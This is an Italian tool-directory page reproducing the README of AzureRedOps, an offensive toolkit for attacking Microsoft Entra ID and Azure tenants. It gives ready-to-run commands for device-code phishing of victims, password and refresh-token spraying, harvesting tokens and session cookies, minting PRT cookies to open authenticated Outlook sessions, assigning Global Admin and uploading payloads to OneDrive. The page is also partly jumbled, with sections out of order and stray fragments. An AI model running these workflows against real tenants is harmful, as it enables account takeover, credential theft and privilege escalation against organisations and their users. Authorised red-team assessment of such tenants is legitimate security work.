Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
AzureRedOps — Azure RedOps è un toolkit di sicurezza offensiva per valutare la postura di sicurezza di Microsoft Entra ID | Kitploit
Strumenti/GitHubGitHub/mr-un1k0d3r/azureredops
Strumenti di PhishingEscalation di PrivilegiRicognizioneAttacchi alle PasswordExploitRaccolta InformazioniPost-ExploitPenetration TestingSicurezza CloudAutenticazioneRed Teaming
1801872 mesi faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
GitHub
mr-un1k0d3r/azureredops

AzureRedOps

Azure RedOps è un toolkit di sicurezza offensiva per valutare la postura di sicurezza di Microsoft Entra ID

Vedi Repository

AzureRedOps

Un coltellino svizzero per il red teaming su Azure / Entra ID.

Autore: Mr.Un1k0d3r (TrueCyber Inc) Versione: 0.1 Linguaggio: Python 3.12+


Panoramica

AzureRedOps è un toolkit di sicurezza offensivo per valutare la postura di sicurezza dei tenant di Microsoft Entra ID e Azure. Racchiude i flussi di lavoro più comuni del red team — autenticazione, gestione dei token, enumerazione delle directory, verifica dei privilegi, password spraying e azioni post-sfruttamento contro Microsoft Graph — dietro una CLI coerente guidata da --activity.

Ogni operazione viene selezionata con -a/--activity. I token ottenuti durante l'autenticazione possono essere memorizzati nella cache localmente (.azure_creds) e riutilizzati per nome con -l/--load-access-token, così raramente dovrai incollare JWT grezzi.

Scopri di più sullo strumento sul blog CYPFER

Caratteristiche

  • Gestione dei token — salva, elenca, decodifica/visualizza ed elimina token di accesso/refresh in un archivio di credenziali locale (.azure_creds). Qualsiasi flusso può persistere automaticamente i propri token con -s/--save + -n/--name.
  • Flussi di autenticazione multipli:
    • ROPC (auth) — autenticazione diretta con nome utente/password.
    • Phishing del codice dispositivo (phish-start / phish-capture) — abusa della concessione di autorizzazione del dispositivo OAuth per catturare i token emessi quando un target inserisce il tuo codice utente su microsoft.com/devicelogin. Acquisizione automatica per impostazione predefinita.
    • Consenso dell'app di terze parti (auth-app) — flusso completo Authorization Code + PKCE contro una registrazione personalizzata dell'applicazione, servito da un listener HTTPS locale integrato che riceve il reindirizzamento.
    • Acquisizione interattiva del browser (auth-interactive) — guida un browser reale (Playwright; Firefox di default, -br per cambiare) (gestisce MFA / Conditional Access / SSO), poi raccoglie ogni token dalla sessione HAR registrata.

Requisiti

  • Python 3.12 o successivo (il codice si basa sulla sintassi f-string PEP 701).
  • Pacchetti Python (vedi requirements.txt):
    • PyJWT
    • requests
    • playwright
    • cryptography (necessario solo per browser-sso -aprt, il flusso auto-PRT)
  • Un runtime browser Playwright per i flussi del browser (auth-interactive, browser-sso). Firefox è il motore predefinito (-br/--browser); installalo con python -m playwright install firefox.
  • Certificato TLS + chiave in includes/web/cert.pem e includes/web/key.pem (necessario solo per il flusso PKCE auth-app — vedi ).

Installazione```bash

Clone the repository

git clone AzureRedOps cd AzureRedOps

Create and activate a virtual environment

python3 -m venv AzureRedOps source AzureRedOps/bin/activate # Linux / macOS

.\AzureRedOps\Scripts\Activate.ps1 # Windows PowerShell

Install dependencies

pip install -r requirements.txt

Install the browser used by the browser flows (one-time).

Firefox is the default engine; install the one(s) you plan to use with -br.

python -m playwright install firefox

python -m playwright install chromium webkit # optional, for -br chromium/webkit

python -m playwright install-deps # Linux/WSL: pull system libs

root@kitploit:~
Esegui lo strumento:```bash
python3 AzureRedOps.py -a <activity> [options]

Utilizzo

Il modello generale di invocazione è:```bash python3 AzureRedOps.py -a [authentication] [activity options] [global options]

root@kitploit:~
### Fornire un token

Le attività che chiamano Microsoft Graph richiedono un token di accesso. Puoi fornirlo in due modi:

| Method | Flag | Example |
|--------|------|---------|
| Passa un token grezzo | `-ac, --access-token` | `-ac eyJ0eXAi...` |
| Carica un token memorizzato per nome | `-l, --load-access-token` | `-l mytoken` |

Quando si usa `-l`, il `access_token` corrispondente (e, quando rilevante, `refresh_token`
e `tenant`) viene letto dal deposito `.azure_creds`.

### Salvare i token in un file (`-s` / `-n`)

Qualsiasi attività che ottiene token (`auth`, `auth-app`, `auth-interactive`,
`phish-start`/`phish-capture`, `refresh`) può **persisterli automaticamente** nel
deposito di credenziali locale (`.azure_creds`) aggiungendo `-s/--save` insieme a
`-n/--name`:```bash
# Authenticate and save the resulting tokens under the name "victim1"
python3 AzureRedOps.py -a auth -u [email protected] -p 'P@ssw0rd!' -tid <tenant-guid> -s -n victim1
  • -s/--save attiva il salvataggio automatico; richiede -n/--name — lo strumento termina con un errore se -n è assente.
  • -n/--name è la chiave sotto cui viene memorizzato il token. Puoi riutilizzarlo successivamente con -l victim1 invece di incollare il JWT grezzo, visualizzarlo con -a view -n victim1, o eliminarlo con -a delete -n victim1.
  • L'attività auth-interactive salva sempre automaticamente e ti chiederà un nome interattivamente se -n non viene fornito.

Salvare l'output dell'attività in un file (-j)

La maggior parte delle attività di enumerazione (list-users, list-applications, list-principals, gather-all, raw-url) accettano -j/--json <nomefile> per scrivere la risposta API grezza in un file JSON invece di (o in aggiunta a) stamparla:```bash

Dump every user to users.json

python3 AzureRedOps.py -a list-users -l victim1 -j users.json

root@kitploit:~
For `gather-all`, the supplied filename is used as a suffix and one file is written
per Graph endpoint (e.g. `users-<name>`, `groups-<name>`, ...).

> Suggerimento: `-j` controlla l'esportazione JSON strutturata, mentre `-re/--redirect-to-file` rispecchia l'output formattato della console su `output.txt`. I due sono indipendenti.

### Tenant identifiers

- `-t, --tenant` si aspetta un **nome di dominio** (es. `contoso.com`) ed è usato dall'attività `id`.
- `-tid, --tenant-id` si aspetta un **GUID del tenant** o `common`, usato dalle attività di autenticazione.

---

## Opzioni da riga di comando

| Short | Long | Default | Descrizione |
|-------|------|---------|-------------|
| `-a` | `--activity` | `id` | **(obbligatorio)** Attività da eseguire (vedi [Activities](#activities)). |
| `-ac` | `--access-token` | | Token di accesso Azure. |
| `-n` | `--name` | | Nome usato per salvare/caricare un token, o nome visualizzato per `register-app`/`new-group`/`invite`. |
| `-t` | `--tenant` | | Nome del **dominio** del tenant Azure (usato da `id`). |
| `-c` | `--devicecode` | | Codice dispositivo (usato da `phish-capture`). |
| `-tid` | `--tenant-id` | | **ID** del tenant Azure (GUID) o `common`. |
| `-app` | `--appid` | `d3590ed6-52b3-4102-aeff-aad2292ab01c` | ID applicazione (client). |
| `-e` | `--endpoint` | `microsoftonline.com` | Dominio dell'endpoint di login da targetizzare. |
| `-r` | `--refresh-token` | | Token di aggiornamento dell'autenticazione. |
| `-as` | `--auto-start` | `True` | Avvia automaticamente la cattura del codice dispositivo dopo `phish-start`. |
| `-l` | `--load-access-token` | | Carica un token dalla cache per nome da `.azure_creds`. |
| `-j` | `--json` | | Salva l'output dell'attività nel file JSON specificato. |
| `-fl` | `--filter` | | Stampa solo gli attributi la cui chiave corrisponde a una di queste (separate da virgola). |
| `-u` | `--username` | | Nome principale utente (email). |
| `-p` | `--password` | | Password utente. |
| `-s` | `--save` | `False` | Salva automaticamente i token ottenuti in `.azure_creds` (**richiede `-n`**). |
| `-cp` | `--check-privileges` | `False` | Dopo un login spray riuscito, verifica se utenti/app possono essere enumerati. |
| `-uid` | `--uid` | | ID oggetto utente Azure (usato da `add-group`). |
| `-headers` | `--headers` | | Intestazioni HTTP aggiuntive in formato JSON, es. `{"X-Foo": "bar"}`. |
| `-gid` | `--gid` | `62e90394-69f5-4237-91f9-056ad24d70a7` | ID ruolo/gruppo directory (predefinito = **Amministratore globale**). |
| `-i` | `--id` | `False` | Per `interest`: stampa solo gli ID delle applicazioni. |
| `-ty` | `--type` | | Per `interest`: filtra per una categoria specifica. |
| `-fp` | `--filepath` | | File da caricare (`push-file`) o elenco personalizzato di app per lo spraying. |
| `-v` | `--version` | `v2.0` | Versione API di autenticazione: `v0` o `v2.0`. |
| `-ua` | `--user-agent` | *(Chrome UA string)* | Sostituisci l'`User-Agent` HTTP. |
| `-au` | `--audience` | `https://graph.microsoft.com` | Pubblico/risorsa del token. |
| `-sc` | `--scope` | `openid offline_access` | Ambito OAuth2. Usa `https://graph.microsoft.com/.default` per Graph, `openid` per lo spraying. |
| `-url` | `--url` | | URL target per `raw-url`/`invite`; elenco di URL separati da virgola per `auth-interactive`. |
| `-beta` | `--beta` | `False` | Usa l'endpoint **beta** di Microsoft Graph per `list-users`/`list-applications`. |
| `-exp` | `--expand` | `False` | Espandi liste/dizionari annidati nell'output in formato leggibile. |
| `-k` | `--keep` | `False` | Mantieni il file `session.har` dopo `auth-interactive` / `browser-sso`. |
| `-cs` | `--client-secret` | | Segreto client riservato usato dal flusso On-Behalf-Of `obo`. |
| `-prt` | `--prt-cookie` | | Valore del cookie PRT (`x-ms-RefreshTokenCredential`) per inizializzare il SSO del browser per `browser-sso`. |
| `-br` | `--browser` | `firefox` | Motore del browser Playwright per i flussi del browser (`auth-interactive`, `browser-sso`). Uno tra `firefox`, `chromium`, `webkit`. |
| `-aprt` | `--auto-prt` | `False` | Per `browser-sso`: genera automaticamente un cookie PRT dal token di aggiornamento (registrazione dispositivo → PRT → `x-ms-RefreshTokenCredential`) in modo che il browser si apra **già autenticato**. Richiede `cryptography` e un token di aggiornamento FOCI/broker. |
| `-d` | `--debug` | `False` | Abilita il logging di debug. |
| `-dd` | `--verbose-debug` | `False` | Abilita il logging dettagliato delle richieste/risposte HTTP. |
| `-re` | `--redirect-to-file` | `False` | Rispecchia tutto l'output della console su `output.txt`. |

---

## Attività

Di seguito, ogni attività elenca i suoi argomenti **obbligatori** e *opzionali*.
"Token" significa che è richiesto `-ac` o `-l`.

### Gestione Token

| Attività | Obbligatorio | Opzionale | Descrizione |
|----------|--------------|-----------|-------------|
| `save` | `-ac`, `-n` | `-tid`, `-r` | Salva un token di accesso (e opzionalmente di aggiornamento) in `.azure_creds`. |
| `list-token` | — | — | Elenca i nomi di tutti i token salvati. |
| `view` | `-n` | — | Decodifica e mostra i claims JWT di un token salvato. |
| `delete` | `-n` | — | Rimuove un token salvato dall'archivio. |```bash
# Save a token under the name "mytoken"
python3 AzureRedOps.py -a save -n mytoken -ac eyJ0eXAi... -r 0.AReAB... -tid <tenant-guid>

# List, view, delete
python3 AzureRedOps.py -a list-token
python3 AzureRedOps.py -a view -n mytoken
python3 AzureRedOps.py -a delete -n mytoken

Scoperta e Autenticazione del Tenant

Resolve a tenant ID from a domain

python3 AzureRedOps.py -a id -t contoso.com

Device-code phishing (auto-capture is on by default)

python3 AzureRedOps.py -a phish-start -tid common -app d3590ed6-52b3-4102-aeff-aad2292ab01c

Capture later with a previously issued device code

python3 AzureRedOps.py -a phish-capture -c -tid common

Username / password (ROPC)

python3 AzureRedOps.py -a auth -u [email protected] -p 'P@ssw0rd!' -tid

Interactive browser capture, saving tokens automatically

python3 AzureRedOps.py -a auth-interactive -url https://portal.azure.com -s -n harvested

Refresh a saved token

python3 AzureRedOps.py -a refresh -l mytoken -app d3590ed6-52b3-4102-aeff-aad2292ab01c

On-Behalf-Of: exchange an issued token for a Graph-scoped token

python3 AzureRedOps.py -a obo -l mytoken -tid -app -cs -au https://graph.microsoft.com

Convert an issued token into an Outlook-on-the-web session and open it in a browser

python3 AzureRedOps.py -a browser-sso -l mytoken -url outlook -prt

root@kitploit:~
#### Come funzionano i flussi di autenticazione

AzureRedOps implementa diversi modi distinti per ottenere token. Scegli quello che
si adatta al tuo engagement; tutti rispettano `-s/-n` per il salvataggio automatico del risultato.

##### Phishing con codice dispositivo (`phish-start` / `phish-capture`)

La **concessione di autorizzazione per dispositivo** di OAuth 2.0 è progettata per dispositivi con
input limitato, il che la rende una potente primitiva di phishing: richiedi un codice per conto di
un'applicazione Microsoft di prima parte, poi ingegnerizzi socialmente un target affinché inserisca quel
codice su `https://microsoft.com/devicelogin` mentre è autenticato con il proprio account. Una volta
fatto, i token vengono emessi **a te**.

- `phish-start` richiede un codice dispositivo e stampa il **codice utente**, l'URL di login,
  e il **codice dispositivo** grezzo. Poiché `-as/--auto-start` è predefinito su `True`, inizia
  immediatamente a interrogare per il token — quindi basta eseguire `phish-start` e
  consegnare il codice utente al target, di solito è tutto ciò che serve.
- `phish-capture` è la controparte manuale: fornisci un codice dispositivo ottenuto in precedenza
  con `-c/--devicecode` e interroga l'endpoint del token fino a quando la vittima completa il
  login (lo strumento riprova silenziosamente mentre l'autorizzazione è in sospeso).
- Usa `-app/--appid` per impersonare un client specifico di prima parte e `-tid/--tenant-id`
  per limitare a un tenant (`common` di default). Consiglio: imposta l'ambito su
  `'https://graph.microsoft.com/.default offline_access openid'` per ottenere un token pronto per Graph
  con un token di aggiornamento.```bash
# Start a device-code session (auto-captures the token once the victim logs in)
python3 AzureRedOps.py -a phish-start -tid common -s -n phished

# Or capture against a code you generated separately
python3 AzureRedOps.py -a phish-capture -c <device-code> -tid common -s -n phished
Consenso per applicazione di terze parti (auth-app)

auth-app esegue un flusso completo di Authorization Code con PKCE verso una registrazione applicativa di terze parti (non predefinita). Lo strumento avvia un listener HTTPS locale (includes/Webserver.py, su https://localhost:2342) che funge da URI di reindirizzamento OAuth, genera la coppia PKCE code_verifier/code_challenge e stampa un URL di autorizzazione da aprire nel browser. Dopo il consenso, Azure reindirizza il codice di autorizzazione al listener locale, che lo strumento scambia poi per token.

Questo è il flusso da utilizzare quando si controlla (o si è registrata) un'applicazione e si vuole guidare il consenso attraverso una sessione browser reale — utile per scenari di tipo 'illicit-consent' o quando ROPC è bloccato.

  • Richiede una coppia di certificato/chiave TLS in includes/web/cert.pem e includes/web/key.pem (vedi Note su come generarli).
  • L'ID client predefinito per questo flusso è 8545b2fc-a69c-4851-9206-0f74a519fe5f.```bash python3 AzureRedOps.py -a auth-app -tid -s -n consented
root@kitploit:~
##### Interactive browser authentication (`auth-interactive`)

`auth-interactive` avvia un **browser reale tramite Playwright** (Firefox di default; scegli il motore con `-br/--browser`) e permette all'operatore (o a un target in una sessione condivisa) di completare un login interattivo — inclusi MFA, Accesso Condizionato e reindirizzamenti federati/SSO che i flussi scriptati non possono soddisfare. L'intera sessione del browser viene registrata in un file HAR (`session.har`); il tool analizza quindi quella cattura, estrae **ogni** coppia di token di accesso/refresh vista sull'endpoint `/oauth2/v2.0/token`, decodifica ogni JWT, e permette di scegliere quale/i salvare.

- `-url/--url` imposta la/e pagina/e a cui navigare dopo che la pagina di login si è caricata. Accetta un **elenco separato da virgole** di URL (ad es. `https://portal.azure.com,https://outlook.office.com`) in modo da poter raccogliere token per più risorse in una sola sessione. Il valore predefinito è `https://portal.azure.com`.
- Questa attività **salva automaticamente sempre**: dopo la raccolta, richiede quali indici di token mantenere e un nome sotto cui salvarli.
- Aggiungi `-k/--keep` per conservare `session.har` per analisi offline (viene eliminato di default).```bash
# Log in interactively and harvest tokens for two resources
python3 AzureRedOps.py -a auth-interactive -url https://portal.azure.com,https://outlook.office.com -k
Scambio di token On-Behalf-Of (obo)

obo implementa il flusso On-Behalf-Of di OAuth 2.0 (grant_type=urn:ietf:params:oauth:grant-type:jwt-bearer). Prende un token di accesso già emesso come asserzione e lo scambia con un token nuovo di zecca con ambito per una risorsa downstream diversa — senza riautenticare l'utente.

  • Il token di asserzione viene fornito con -ac/--access-token o un token nella cache tramite -l/--load-access-token.
  • -app/--appid + -cs/--client-secret identificano il client riservato che esegue lo scambio. Entra ID richiede che questo client sia l'audience (aud) del token di asserzione; una mancata corrispondenza fallisce con AADSTS500131/AADSTS50013.
  • La risorsa di destinazione viene impostata con -au/--audience (predefinito https://graph.microsoft.com, trasformato in <audience>/.default) o un ambito completo con -sc/--scope.
  • Il token risultante (e il token di aggiornamento, quando restituito) viene stampato e rispetta -s/-n.```bash

Exchange an issued token for a Microsoft Graph token on behalf of the user

python3 AzureRedOps.py -a obo -l mytoken -tid
-app -cs -au https://graph.microsoft.com -s -n obo-graph

root@kitploit:~
##### Single sign-on dal token al browser (`browser-sso`)

`browser-sso` apre un **browser reale già autenticato come utente** — non clicchi nulla e atterri direttamente all'interno, per esempio, **Outlook sul web**. Questo è il flusso "apri il browser e ottieni una sessione valida". Il browser ottiene la sua sessione in uno di tre modi, in ordine di preferenza:

**1. `-aprt/--auto-prt` — generazione automatica del cookie PRT (consigliato).**
Il refresh token viene convertito in un **Primary Refresh Token (PRT)** e nel suo cookie del browser interamente dallo strumento, poi iniettato in modo che l'ESTS di Entra completi l'SSO senza login manuale. La catena (in `includes/PRT.py`, il protocollo ROADtoken / roadtx / AADInternals) è:

1. Riscatta il refresh token per un token **DRS (device-registration)**.
2. **Registra un dispositivo** con Azure AD → certificato del dispositivo + chiave di trasporto.
3. Richiedi un **PRT + chiave di sessione** con il refresh token, firmati dal certificato del dispositivo.
4. **Deriva il cookie `x-ms-RefreshTokenCredential`** (KDFv2: KDF SP800-108 su `SHA256(ctx‖decoded-payload-bytes)` → JWT firmato HS256; KDFv1 → `AADSTS5000611`, bytes sbagliati → `AADSTS50058`)
   e inietta in un nuovo contesto del browser.

Il cookie viene iniettato con `SameSite=None` e consumato tramite un **riscaldamento ESTS `/authorize` di primo livello** (il client Office `landingv2`) in modo che il cookie di sessione `ESTSAUTH` venga creato first-party — dopodiché l'app target si apre già autenticata. Il cookie viene derivato con un nuovo nonce appena prima della navigazione e ritentato una volta; se l'SSO ancora non riesce, lo strumento sonda `prompt=none` e stampa la ragione esatta `AADSTS` (es. Conditional Access che richiede un dispositivo conforme/gestito, o MFA — nessuno dei due è aggirabile con un dispositivo appena registrato).

Il PRT, la chiave di sessione e il cookie vengono stampati (con un suggerimento `-prt "<value>"` pronto per essere copiato) in modo che tu possa riutilizzarli in seguito senza rieseguire la catena.

> **Requisiti e opsec per `-aprt`:**
> - Necessita del pacchetto **`cryptography`** (`pip install cryptography`; è in `requirements.txt`).
> - Il refresh token deve appartenere a un **client FOCI / broker** — ad esempio, uno catturato tramite **device-code phishing del Microsoft Authentication Broker** (`29d9ed98-a469-4536-ade2-f981bc1d605e`), che è esattamente ciò che produce il lure device-code di SharePoint/OneDrive. Il `-app` predefinito (client Microsoft Office FOCI) funziona anche.
> - **La registrazione del dispositivo scrive un oggetto dispositivo nel tenant** — non è silenziosa e lascia un artefatto (e richiede che l'utente sia autorizzato a unire/registrare dispositivi).

**2. `-prt/--prt-cookie` — inietta un cookie PRT che hai già.**
Se possiedi già un valore `x-ms-RefreshTokenCredential` (da una precedente esecuzione di `-aprt`, o da un host compromesso tramite `ROADtoken`/`browsercore` o `Mimikatz`), passalo direttamente e salta la catena di generazione.

**3. Nessuno dei due — converti il token e accedi manualmente (fallback).**
Senza cookie PRT, il refresh token viene riscattato per un token di accesso/refresh con ambito risorsa (stampato e salvato con `-s/-n`), e il browser viene aperto all'indirizzo target per completare il login manualmente.

**Raccolta di PRT / cookie di sessione.** Quando la sessione del browser termina (timeout di chiusura automatica o chiudi la finestra), `browser-sso` legge il contesto live del browser e **stampa ogni cookie SSO riutilizzabile che è stato emesso** — il cookie PRT (`x-ms-RefreshTokenCredential`) e i cookie di sessione ESTS (`ESTSAUTH`, `ESTSAUTHPERSISTENT`, ...) — ciascuno con un suggerimento `-prt` pronto per essere copiato in modo da poterli riutilizzare la prossima volta. I cookie vengono interrogati mentre la sessione è attiva, quindi il valore viene catturato anche se chiudi la finestra presto. La stessa raccolta viene eseguita alla fine di `auth-interactive`.

- `-url/--url` seleziona il target. Usa un preset amichevole — `outlook`, `office`, `teams`, `sharepoint`, `onedrive`, `portal`, `graph` — o passa uno o più URL `https://` grezzi (separati da virgole). Il default è `outlook`.
- `-r/--refresh-token` + `-tid` (o un `-l` dalla cache) fornisce il refresh token. `-app/--appid` predefinito al client Microsoft Office FOCI.
- `-br/--browser` sceglie il motore Playwright (Firefox di default).
- `-k/--keep` preserva la registrazione `session.har` della sessione del browser.```bash
# BEST: auto-mint a PRT from a device-code-phished (broker) token and drop straight
# into an authenticated Outlook on the web — no manual login.
python3 AzureRedOps.py -a browser-sso -l phished -url outlook -aprt

# Seed a PRT cookie you already have
python3 AzureRedOps.py -a browser-sso -l mytoken -url outlook -prt <x-ms-RefreshTokenCredential>

# Target Teams from a raw refresh token, auto-mint the PRT, keep the session recording
python3 AzureRedOps.py -a browser-sso -r 0.AReAB... -tid <tenant-guid> -url teams -aprt -k

Who am I?

python3 AzureRedOps.py -a self -l mytoken

Enumerate users (beta endpoint, save to JSON, only show some fields)

python3 AzureRedOps.py -a list-users -l mytoken -beta -j users.json -fl displayName,userPrincipalName

Register an application

python3 AzureRedOps.py -a register-app -n EvilApp -l mytoken

Assign Global Admin to a user

python3 AzureRedOps.py -a add-group -uid -l mytoken

Upload a file to OneDrive

python3 AzureRedOps.py -a push-file -fp ./payload.docx -n payload.docx -l mytoken

Query an arbitrary Graph URL

python3 AzureRedOps.py -a raw-url -url "https://graph.microsoft.com/beta/users" -l mytoken

Invite an external user

python3 AzureRedOps.py -a invite -n [email protected] -url https://example.com/invite -l mytoken

Hunt for exploitable public apps

python3 AzureRedOps.py -a magic-app -l mytoken

root@kitploit:~
### Password Spraying

| Activity | Required | Optional | Description |
|----------|----------|----------|-------------|
| `spray` | `-u`, `-p`, `-tid` | `-fp`, `-cp` | Spray delle credenziali contro ID di app di prima parte noti (API v0 + v2.0). |
| `spray-refresh` | `-v`, e (`-l`) **oppure** (`-r` + `-tid`) | `-fp`, `-cp` | Riproduci un token di refresh su molti ID di app. |

Per impostazione predefinita, entrambe le attività usano `includes/auth_apps.json` come fonte delle app; sostituisci con `-fp`. Aggiungi `-cp` per testare se ogni login riuscito può enumerare utenti/app.```bash
# Spray a single credential across first-party apps
python3 AzureRedOps.py -a spray -u [email protected] -p 'P@ssw0rd!' -tid <tenant-guid> -cp

# Cross-app refresh spraying from a saved token
python3 AzureRedOps.py -a spray-refresh -l mytoken -v v2.0

Intelligence e Scoperta

root@kitploit:~
---

## Output e file generati

| File | Creato da | Descrizione |
|------|-----------|-------------|
| `.azure_creds` | Attività di salvataggio token | Cache JSON locale dei token di accesso/refresh, indicizzata per nome. |
| `output.txt` | flag `-re` | Specchio con timestamp di tutto l'output della console. |
| `session.har` | `auth-interactive` / `browser-sso` | Registrazione della sessione del browser (eliminata a meno che non sia impostato `-k`). |
| `<name>.json` | flag `-j` / `gather-all` | Risposte API salvate. |

### File dati inclusi

| File | Descrizione |
|------|-------------|
| `includes/auth_apps.json` | ID delle applicazioni target utilizzati per lo spraying e le liste `interest`. |
| `includes/apps.json` | ID delle app Microsoft noti e metadati per `knownids`. |
| `includes/Webserver.py` | Listener HTTPS locale che implementa il reindirizzamento PKCE per `auth-app`. |
| `includes/PRT.py` | Catena di coniazione PRT (registrazione dispositivo → PRT → cookie `x-ms-RefreshTokenCredential`) utilizzata da `browser-sso -aprt`. |
| `includes/web/cert.pem`, `includes/web/key.pem` | Materiale TLS per il listener locale. |

---

## Note e suggerimenti

- **ID app predefinito** (`d3590ed6-52b3-4102-aeff-aad2292ab01c`) è il client first-party di Microsoft Office, che funziona per la maggior parte dei flussi. I suggerimenti stampati da alcune attività suggeriscono di estendere i token all'app **Microsoft Azure CLI** (`04b07795-8ddb-461a-bbee-02f9e1bf7b46`) per un accesso più ampio.
- **Guida agli ambiti:** utilizzare `-sc openid` per lo spraying delle password e `-sc 'https://graph.microsoft.com/.default'` per le operazioni su Graph.
- **`--beta`** passa `list-users` / `list-applications` all'endpoint beta di Graph, che può mostrare informazioni extra (es. attributi di sincronizzazione on-prem).
- **`auth-app` TLS:** il listener PKCE locale richiede una coppia certificato/chiave in `includes/web/cert.pem` e `includes/web/key.pem`. Generare una coppia autofirmata se mancanti, ad esempio:
  ```bash
  openssl req -new -x509 -keyout includes/web/key.pem -out includes/web/cert.pem -days 365 -nodes
  ```  ```bash
  openssl req -x509 -newkey rsa:2048 -nodes \
    -keyout includes/web/key.pem -out includes/web/cert.pem -days 365 -subj "/CN=localhost"
  • Debugging: -d stampa informazioni di debug di alto livello; -dd riversa l'intera richiesta HTTP e risposta (intestazioni + corpo) — utile per diagnosticare scambi di token falliti.
  • Motore del browser (-br/--browser). I flussi del browser (auth-interactive, browser-sso) avviano un browser Playwright con interfaccia grafica. Il motore predefinito è firefox (il motore con interfaccia grafica più affidabile sotto WSLg); passa a -br chromium o -br webkit. Installa il motore scelto una volta con python -m playwright install <engine>.
  • Playwright su WSL — finestra vuota / blocco dell'intera macchina. Sotto WSL/WSLg un browser con interfaccia grafica può aprirsi vuoto e non visualizzare mai nulla mentre l'intero host si blocca. Causa principale: WSLg espone una GPU virtualizzata (/dev/dxg, gestita dal driver Mesa d3d12) che il processo GPU/compositor del browser tenta di utilizzare, mentre la /dev/shm predefinita della VM WSL è minuscola (spesso 64 MB). La combinazione delle due — il processo GPU gira su un dispositivo che non riesce a pilotare e il compositor di memoria condivisa esaurisce — quindi niente viene renderizzato e la VM si espande fino a far impazzire l'host Windows. Un contributo secondario era : la pagina di accesso Microsoft esegue long-polling, quindi non viene mai attivato e la navigazione rimane bloccata su una pagina vuota fino al timeout.

Crediti

Creato da Mr.Un1k0d3r — TrueCyber Inc.

Scarica lo strumento
  • Scambio di token di aggiornamento (refresh) — scambia un token di aggiornamento per nuovi token di accesso.
  • Concessione On-Behalf-Of (obo) — scambia un token di accesso già emesso per un nuovo token con ambito per una risorsa a valle (OAuth 2.0 jwt-bearer / OBO).
  • SSO da token a browser (browser-sso) — apre un browser reale già autenticato come utente direttamente nell'app web di destinazione (Outlook sul web, Teams, SharePoint, il portale Azure, ...). Con -aprt/--auto-prt genera automaticamente un cookie Primary Refresh Token (PRT) da un token di aggiornamento (registrazione dispositivo → PRT → x-ms-RefreshTokenCredential), così un nuovo browser completa il single sign-on senza login manuale.
  • Enumerazione delle directory tramite Microsoft Graph — utenti, applicazioni, entità servizio, policy di autorizzazione e un raccoglitore bulk gather-all.
  • Password spraying contro ID di app Microsoft first-party noti (spray) e spraying di token di aggiornamento tra app (spray-refresh).
  • Post-sfruttamento — registra applicazioni, crea gruppi, assegna ruoli di directory, invita utenti esterni (guest) e carica file su OneDrive.
  • Aiutanti di ricognizione — magic-app trova app reindirizzabili pubblicamente con consenso AllPrincipals; elenchi incorporati di ID di app Microsoft noti/interessanti.
  • Qualità della vita — commutatore endpoint beta, intestazioni personalizzate, user-agent/scope/audience personalizzati, filtraggio degli attributi, output espanso, logging HTTP debug/verbose e reindirizzamento dell'output a un file.
  • Note
    AttivitàObbligatorioOpzionaleDescrizione
    id-t—Risolvi l'ID del tenant per un dato dominio email.
    phish-start—-app, -tid, -as, -s, -nAvvia un flusso di codice dispositivo; stampa il codice utente e (per impostazione predefinita) cattura automaticamente.
    phish-capture-c-app, -tid, -s, -nEsegui polling per i token utilizzando un codice dispositivo precedentemente emesso.
    auth-u, -p, -tid, -app, -v-s, -nAutentica con nome utente/password (ROPC).
    auth-app-tid-s, -nFlusso Authorization-Code + PKCE tramite un listener HTTPS locale.
    auth-interactive—-url, -k, -nAvvia un browser (Playwright), lascia che l'utente acceda e raccogli i token dal session HAR. Salva sempre automaticamente.
    refresh-v, -app, e (-l) o (-r + -tid)-s, -nScambia un token di aggiornamento per un nuovo token di accesso.
    obo-tid, -app, e (-ac) o (-l)-cs, -au, -sc, -s, -nOn-Behalf-Of: scambia un token di accesso emesso per un token con ambito su un'altra risorsa.
    browser-sso-app, e (-l) o (-r + -tid)-aprt, -url, -prt, -v, -k, -s, -nApri un browser già autenticato come utente. Aggiungi -aprt per creare automaticamente un cookie PRT dal token di aggiornamento, fornisci uno già pronto con -prt o ricadi nella conversione del token + login manuale.
    AttivitàObbligatorioOpzionaleDescrizione
    selfToken—Visualizza il profilo dell'utente corrente (/me).
    emailToken, -fl—Cerca nella mailbox dell'utente connesso una parola chiave.
    permissionToken—Mostra la politica di autorizzazione del tenant (beta).
    list-usersToken-j, -beta, -fl, -expElenca tutti gli utenti.
    list-applicationsToken-j, -beta, -fl, -expElenca tutte le applicazioni.
    list-principalsToken-j, -fl, -expElenca tutti i service principal.
    register-appToken, -n—Registra una nuova applicazione (con un segreto client di 1 anno).
    new-groupToken, -n—Crea un nuovo gruppo di sicurezza.
    add-groupToken, -uid-gidAssegna un ruolo di directory a un principal (ruolo predefinito = Amministratore Globale).
    push-fileToken, -fp, -n—Carica un file locale nel OneDrive dell'utente.
    gather-allToken-jRaccogli in blocco utenti, gruppi, app, SP, ruoli, policy e concessioni.
    raw-urlToken, -url-j, -fl, -expEsegui una GET grezza verso qualsiasi URL Graph/REST (gestisce il paging @odata.nextLink).
    inviteToken, -n-urlInvita un utente esterno (guest). -n è l'email dell'invitato.
    magic-appToken—Trova app con consenso AllPrincipals, appRoleAssignmentRequired=false e URI di reindirizzamento pubblici.
    AttivitàObbligatorioOpzionaleDescrizione
    knownids—-fl, -expElenca gli ID delle applicazioni Microsoft conosciuti (includes/apps.json).
    list-interest——Elenca le categorie di app definite in includes/auth_apps.json.
    interest—-i, -tyElenca gli ID delle app interessanti; -i stampa solo gli ID, -ty filtra per categoria.
    python3 AzureRedOps.py -a knownids
    python3 AzureRedOps.py -a list-interest
    python3 AzureRedOps.py -a interest -ty all_users
    python3 AzureRedOps.py -a interest -i # IDs only
    /dev/shm
    page.goto(..., wait_until="networkidle")
    networkidle
